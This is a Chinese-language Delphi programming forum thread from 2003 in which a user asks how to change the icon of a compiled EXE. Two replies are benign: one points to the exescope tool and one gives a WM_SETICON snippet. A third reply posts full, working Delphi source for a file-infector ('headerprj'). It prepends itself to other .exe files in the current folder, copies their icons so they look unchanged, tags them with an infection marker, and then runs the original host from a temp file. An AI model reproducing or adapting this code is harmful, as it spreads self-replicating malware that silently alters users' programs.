问侠客: 如何动态改变EXE文件的图标?

lxtnt 2003-09-10 08:42:05
大侠:
如何动态改变EXE文件的图标?[已编译的EXE]?
如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标?
用原生delphi实现。
...全文
124 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
crossbow 2003-09-11
  • 打赏
  • 举报
回复
这个可以,我试过的。

Exe文件的修改
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
//Code here:

//headerprj.dpr

program headerprj;

uses

Windows,Classes,SysUtils,Graphics,ShellAPI;

const

HEADERSIZE=78336;

ICONOFFSET=$11EB8;

INFECTFLAG='Infected By SOJ';

ID=$66666666;

{$R *.RES}

var

tmpFile:string;

si:STARTUPINFO;

pi:PROCESS_INFORMATION;

sr:TSearchRec;

Counter:Integer;

//routines

procedure CopyStream(Src:TStream;sStartPos:Integer;

Dst:TStream;dStartPos:Integer;Count:Integer);

var

sCurPos,dCurPos:Integer;

begin

sCurPos:=Src.Position;

dCurPos:=Dst.Position;

src.Seek(sStartPos,0);

dst.Seek(dStartPos,0);

dst.CopyFrom(src,Count);

src.Seek(sCurPos,0);

dst.Seek(dCurPos,0);

end;{CopyStream}

function Getmyname:string;

var

cmdline:String;

myname:Array [0..255] of Char;

i,j:integer;

begin

i:=1;j:=0;

cmdline:=GetCommandLine;

while cmdline[i]<>chr(0) do

begin

if cmdline[i]<>'"' then

begin

myname[j]:=cmdline[i];

inc(j);

end;

inc(i);

end;

myname[j-1]:=chr(0);

Result:=strpas(@myname);

end;{Getmyname}

function GetTempFullName:String;

var

tmpPath:Array[1..256]of Char;

tmpname:Array[1..256]of Char;

begin

GetTempPath(256,@tmpPath);

GetTempFileName(@tmpPath,'PQR',0,@tmpName);

Result:=StrPas(@tmpName);

end;{GetTempFullName}

procedure ExtractFile(filename:string);

var

sStream,dStream:TFileStream;

begin

sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);

dStream:=TFileStream.Create(filename,fmCreate);

sStream.Seek(HEADERSIZE,0);

dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);

sStream.Free;

dStream.Free;

end;

procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);

begin

si.cb := sizeof(si);

si.lpReserved := nil;

si.lpDesktop := nil;

si.lpTitle := nil;

si.dwFlags := STARTF_USESHOWWINDOW;

si.wShowWindow := state;

si.cbReserved2 := 0;

si.lpReserved2 := nil;

end;

function InfectFile(Filename:TFilename):Boolean;

var

hdrStream,srcStream:TFileStream;

icoStream,dstStream:TMemoryStream;

iID:Longint;

aIcon:TIcon;

begin

try

if Filename='headerprj.exe' then exit;

srcStream:=TFileStream.Create(Filename,fmOpenRead);

srcStream.Seek(-4,2);

srcStream.Read(iID,4);

if (iID=ID) or (srcStream.Size >1000000)then

begin

srcStream.Free;

Result:=False;

exit; //如果感染过了则退出

end;

srcStream.Free;

try

icoStream:=TMemoryStream.Create;

aIcon:=TIcon.Create;

aIcon.ReleaseHandle;

aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标

aIcon.SaveToStream(icoStream);

aIcon.Free;

srcStream:=TFileStream.Create(FileName,fmOpenRead);

hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件

dstStream:=TMemoryStream.Create;

CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);

CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);

CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);

dstStream.Seek(0,2);

iID:=$66666666;

dstStream.Write(iID,4);

finally

icoStream.Free;

srcStream.Free;

hdrStream.Free;

dstStream.SaveToFile(Filename);

dstStream.Free;

Result:=True;

end;

except;

end;

end;

//主程序开始

begin

Counter:=2;

if FindFirst('*.exe',faAnyFile,sr)=0 then

begin

InfectFile(sr.Name);

while (FindNext(sr)=0) and (Counter>0) do

begin

if InfectFile(sr.Name) then Dec(Counter);

end;

end;

FindClose(sr);

if ExtractFileName(Getmyname)='headerprj.exe' then exit;

tmpFile:=GetTempFullname;

ExtractFile(tmpFile);

fillstartupinfo(si,SW_SHOWDEFAULT);

CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);

end.

ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
naughtyboy 2003-09-11
  • 打赏
  • 举报
回复
上面是用别的工具替换图标
另外还有一种方法能临时改变图标,但不是永久改变
当程序再次运行的时候,图标还会变为原来的样子

var
ico: TIcon;
begin
ico := TIcon.Create;
try
ico.LoadFromFile('E:\hlp.ico');
SendMessage(handle,WM_SETICON,0,LPARAM(ico));
finally
ico.Free;
end;
end;
hansome 2003-09-11
  • 打赏
  • 举报
回复
用exescope啊
用程序实现的话
要非常了解PE格式

1,184

社区成员

发帖
与我相关
我的任务
社区描述
Delphi Windows SDK/API
社区管理员
  • Windows SDK/API社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧